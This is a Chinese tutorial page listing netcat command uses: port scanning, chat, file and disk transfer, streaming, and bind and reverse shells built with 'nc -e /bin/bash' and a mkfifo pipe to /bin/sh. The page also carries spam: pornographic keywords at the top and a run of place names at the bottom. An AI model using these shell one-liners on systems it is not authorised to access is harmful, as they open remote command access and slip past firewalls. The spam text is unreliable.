最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Linux中Netcat命令整理

 更新時(shí)間:2018年02月10日 14:39:57   投稿:laozhang  
本篇文章給大家整理了Linux中Netcat的命令以及命令的功能詳解,一起學(xué)習(xí)下。

netcat是網(wǎng)絡(luò)工具中的瑞士軍刀,它能通過TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。通過與其他工具結(jié)合和重定向,你可以在腳本中以多種方式使用它。使用netcat命令所能完成的事情令人驚訝。

netcat所做的就是在兩臺(tái)電腦之間建立鏈接并返回兩個(gè)數(shù)據(jù)流,在這之后所能做的事就看你的想像力了。你能建立一個(gè)服務(wù)器,傳輸文件,與朋友聊天,傳輸流媒體或者用它作為其它協(xié)議的獨(dú)立客戶端。

下面是一些使用netcat的例子.

[A(172.31.100.7) B(172.31.100.23)]

Linux netcat 命令實(shí)例:

1,端口掃描

端口掃描經(jīng)常被系統(tǒng)管理員和黑客用來發(fā)現(xiàn)在一些機(jī)器上開放的端口,幫助他們識(shí)別系統(tǒng)中的漏洞。

$nc -z -v -n 172.31.100.7 21-25

可以運(yùn)行在TCP或者UDP模式,默認(rèn)是TCP,-u參數(shù)調(diào)整為udp.

z 參數(shù)告訴netcat使用0 IO,連接成功后立即關(guān)閉連接, 不進(jìn)行數(shù)據(jù)交換(謝謝@jxing 指點(diǎn))

v 參數(shù)指使用冗余選項(xiàng)(譯者注:即詳細(xì)輸出)

n 參數(shù)告訴netcat 不要使用DNS反向查詢IP地址的域名

這個(gè)命令會(huì)打印21到25 所有開放的端口。Banner是一個(gè)文本,Banner是一個(gè)你連接的服務(wù)發(fā)送給你的文本信息。當(dāng)你試圖鑒別漏洞或者服務(wù)的類型和版本的時(shí)候,Banner信息是非常有用的。但是,并不是所有的服務(wù)都會(huì)發(fā)送banner。

一旦你發(fā)現(xiàn)開放的端口,你可以容易的使用netcat 連接服務(wù)抓取他們的banner。

$ nc -v 172.31.100.7 21

netcat 命令會(huì)連接開放端口21并且打印運(yùn)行在這個(gè)端口上服務(wù)的banner信息。

Chat Server

假如你想和你的朋友聊聊,有很多的軟件和信息服務(wù)可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計(jì)算機(jī)實(shí)驗(yàn)室,所有的對(duì)外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要?jiǎng)?chuàng)建一個(gè)Chat服務(wù)器,一個(gè)預(yù)先確定好的端口,這樣子他就可以聯(lián)系到你了。

Server

$nc -l 1567

netcat 命令在1567端口啟動(dòng)了一個(gè)tcp 服務(wù)器,所有的標(biāo)準(zhǔn)輸出和輸入會(huì)輸出到該端口。輸出和輸入都在此shell中展示。

Client

$nc 172.31.100.7 1567

不管你在機(jī)器B上鍵入什么都會(huì)出現(xiàn)在機(jī)器A上。

3,文件傳輸

大部分時(shí)間中,我們都在試圖通過網(wǎng)絡(luò)或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當(dāng)你只是需要臨時(shí)或者一次傳輸文件,真的值得浪費(fèi)時(shí)間來安裝配置一個(gè)軟件到你的機(jī)器上嘛。假設(shè),你想要傳一個(gè)文件file.txt 從A 到B。A或者B都可以作為服務(wù)器或者客戶端,以下,讓A作為服務(wù)器,B為客戶端。

Server

$nc -l 1567 < file.txt

Client

$nc -n 172.31.100.7 1567 > file.txt

這里我們創(chuàng)建了一個(gè)服務(wù)器在A上并且重定向netcat的輸入為文件file.txt,那么當(dāng)任何成功連接到該端口,netcat會(huì)發(fā)送file的文件內(nèi)容。

在客戶端我們重定向輸出到file.txt,當(dāng)B連接到A,A發(fā)送文件內(nèi)容,B保存文件內(nèi)容到file.txt.

沒有必要?jiǎng)?chuàng)建文件源作為Server,我們也可以相反的方法使用。像下面的我們發(fā)送文件從B到A,但是服務(wù)器創(chuàng)建在A上,這次我們僅需要重定向netcat的輸出并且重定向B的輸入文件。

B作為Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt

4,目錄傳輸

發(fā)送一個(gè)文件很簡單,但是如果我們想要發(fā)送多個(gè)文件,或者整個(gè)目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發(fā)送壓縮包。

如果你想要通過網(wǎng)絡(luò)傳輸一個(gè)目錄從A到B。

Server

$tar -cvf – dir_name | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | tar -xvf -

這里在A服務(wù)器上,我們創(chuàng)建一個(gè)tar歸檔包并且通過-在控制臺(tái)重定向它,然后使用管道,重定向給netcat,netcat可以通過網(wǎng)絡(luò)發(fā)送它。

在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。

如果想要節(jié)省帶寬傳輸壓縮包,我們可以使用bzip2或者其他工具壓縮。

Server

$tar -cvf – dir_name| bzip2 -z | nc -l 1567

通過bzip2壓縮

Client

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

使用bzip2解壓

5. 加密你通過網(wǎng)絡(luò)發(fā)送的數(shù)據(jù)

如果你擔(dān)心你在網(wǎng)絡(luò)上發(fā)送數(shù)據(jù)的安全,你可以在發(fā)送你的數(shù)據(jù)之前用如mcrypt的工具加密。

服務(wù)端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密數(shù)據(jù)。

客戶端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密數(shù)據(jù)。

以上兩個(gè)命令會(huì)提示需要密碼,確保兩端使用相同的密碼。

這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

6. 流視頻

雖然不是生成流視頻的最好方法,但如果服務(wù)器上沒有特定的工具,使用netcat,我們?nèi)匀挥邢M龀蛇@件事。

服務(wù)端

$cat video.avi | nc -l 1567

這里我們只是從一個(gè)視頻文件中讀入并重定向輸出到netcat客戶端

$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

這里我們從socket中讀入數(shù)據(jù)并重定向到mplayer。

7,克隆一個(gè)設(shè)備

如果你已經(jīng)安裝配置一臺(tái)Linux機(jī)器并且需要重復(fù)同樣的操作對(duì)其他的機(jī)器,而你不想在重復(fù)配置一遍。不在需要重復(fù)配置安裝的過程,只啟動(dòng)另一臺(tái)機(jī)器的一些引導(dǎo)可以隨身碟和克隆你的機(jī)器。

克隆Linux PC很簡單,假如你的系統(tǒng)在磁盤/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd是一個(gè)從磁盤讀取原始數(shù)據(jù)的工具,我通過netcat服務(wù)器重定向它的輸出流到其他機(jī)器并且寫入到磁盤中,它會(huì)隨著分區(qū)表拷貝所有的信息。但是如果我們已經(jīng)做過分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。

8,打開一個(gè)shell

我們已經(jīng)用過遠(yuǎn)程shell-使用telnet和ssh,但是如果這兩個(gè)命令沒有安裝并且我們沒有權(quán)限安裝他們,我們也可以使用netcat創(chuàng)建遠(yuǎn)程shell。

假設(shè)你的netcat支持 -c -e 參數(shù)(默認(rèn) netcat)

Server

$nc -l 1567 -e /bin/bash -i

Client

$nc 172.31.100.7 1567

這里我們已經(jīng)創(chuàng)建了一個(gè)netcat服務(wù)器并且表示當(dāng)它連接成功時(shí)執(zhí)行/bin/bash

假如netcat 不支持-c 或者 -e 參數(shù)(openbsd netcat),我們?nèi)匀荒軌騽?chuàng)建遠(yuǎn)程shell

Server

$mkfifo /tmp/tmp_fifo

$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

這里我們創(chuàng)建了一個(gè)fifo文件,然后使用管道命令把這個(gè)fifo文件內(nèi)容定向到shell 2>&1中。是用來重定向標(biāo)準(zhǔn)錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出,然后管道到netcat 運(yùn)行的端口1567上。至此,我們已經(jīng)把netcat的輸出重定向到fifo文件中。
說明:

從網(wǎng)絡(luò)收到的輸入寫到fifo文件中

cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令

sh命令進(jìn)程受到輸入并把它寫回到netcat。

netcat 通過網(wǎng)絡(luò)發(fā)送輸出到client

至于為什么會(huì)成功是因?yàn)楣艿朗姑钇叫袌?zhí)行,fifo文件用來替代正常文件,因?yàn)閒ifo使讀取等待而如果是一個(gè)普通文件,cat命令會(huì)盡快結(jié)束并開始讀取空文件。

在客戶端僅僅簡單連接到服務(wù)器

Client

$nc -n 172.31.100.7 1567

你會(huì)得到一個(gè)shell提示符在客戶端

反向shell

反向shell是指在客戶端打開的shell。反向shell這樣命名是因?yàn)椴煌谄渌渲?,這里服務(wù)器使用的是由客戶提供的服務(wù)。

服務(wù)端

$nc -l 1567

在客戶端,簡單地告訴netcat在連接完成后,執(zhí)行shell。
客戶端

$nc 172.31.100.7 1567 -e /bin/bash

現(xiàn)在,什么是反向shell的特別之處呢

反向shell經(jīng)常被用來繞過防火墻的限制,如阻止入站連接。例如,我有一個(gè)專用IP地址為172.31.100.7,我使用代理服務(wù)器連接到外部網(wǎng)絡(luò)。如果我想從網(wǎng)絡(luò)外部訪問 這臺(tái)機(jī)器如1.2.3.4的shell,那么我會(huì)用反向外殼用于這一目的。

相關(guān)文章

  • 如何確保Apache?Flink流處理的數(shù)據(jù)一致性和可靠性

    如何確保Apache?Flink流處理的數(shù)據(jù)一致性和可靠性

    Apache?Flink通過其先進(jìn)的狀態(tài)管理、檢查點(diǎn)機(jī)制、時(shí)間語義和容錯(cuò)策略,確保了在流處理中的高數(shù)據(jù)一致性和可靠性,本文詳細(xì)介紹了Flink中保證數(shù)據(jù)一致性和可靠性的機(jī)制,感興趣的朋友一起看看吧
    2024-08-08
  • Linux 的cp命令及示例詳解

    Linux 的cp命令及示例詳解

    本篇文章主要介紹了Linux 的cp命令詳解, cp指令用于復(fù)制文件或目錄,有興趣的可以了解一下。
    2016-11-11
  • centos 7 源碼安裝openssh的方法

    centos 7 源碼安裝openssh的方法

    這篇文章主要介紹了centos 7 源碼安裝openssh的方法,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-06-06
  • Linux文件/目錄的權(quán)限及歸屬管理使用

    Linux文件/目錄的權(quán)限及歸屬管理使用

    這篇文章主要介紹了Linux文件/目錄的權(quán)限及歸屬管理使用,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-02-02
  • Apache Omid TSO 組件源碼實(shí)現(xiàn)原理解析

    Apache Omid TSO 組件源碼實(shí)現(xiàn)原理解析

    這篇文章主要介紹了Apache Omid TSO 組件源碼實(shí)現(xiàn)原理解析,本文給大家介紹的非常詳細(xì),感興趣的朋友一起看看吧
    2024-07-07
  • apache中封IP的實(shí)現(xiàn)方法

    apache中封IP的實(shí)現(xiàn)方法

    最簡單的方法是從Apache里封(如果你是用Apache當(dāng)服務(wù)器的話)。你既可以在httpd.conf配置文件里設(shè)置,又可以在.htaccess里設(shè)置。
    2011-04-04
  • Ubuntu 20.04換阿里源的方法

    Ubuntu 20.04換阿里源的方法

    這篇文章主要介紹了Ubuntu 20.04換阿里源的方法,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-05-05
  • linux系統(tǒng)掛載數(shù)據(jù)盤的方法(視頻圖文教程)

    linux系統(tǒng)掛載數(shù)據(jù)盤的方法(視頻圖文教程)

    這篇文章主要介紹了linux系統(tǒng)掛載數(shù)據(jù)盤的方法(視頻圖文教程),需要的朋友可以參考下
    2017-08-08
  • Linux查找特定程序whereis實(shí)例詳解

    Linux查找特定程序whereis實(shí)例詳解

    在本篇文章里小編給大家整理的是關(guān)于Linux查找特定程序 whereis的詳細(xì)用法實(shí)例,有需要的朋友們可以學(xué)習(xí)下。
    2019-11-11
  • 快速搭建簡易、高效、多線程http服務(wù)器

    快速搭建簡易、高效、多線程http服務(wù)器

    通過Node.js來快速高效的搭建一個(gè)高性能http服務(wù)器,github上Charlie Robbins分享了一個(gè)開源項(xiàng)目,讓大家都可以輕松的搭建臨時(shí)高性能http服務(wù)器
    2018-02-02

最新評(píng)論

洱源县| 新巴尔虎左旗| 宁乡县| 柳江县| 海宁市| 霞浦县| 奉新县| 乐山市| 天等县| 临洮县| 永昌县| 和田市| 剑阁县| 南陵县| 丰顺县| 樟树市| 弥勒县| 辰溪县| 广灵县| 礼泉县| 阆中市| 文安县| 博兴县| 剑阁县| 错那县| 龙江县| 南宫市| 溧阳市| 监利县| 马龙县| 锡林浩特市| 广元市| 金堂县| 荆门市| 邛崃市| 湘潭县| 高唐县| 张掖市| 饶河县| 高陵县| 肃北|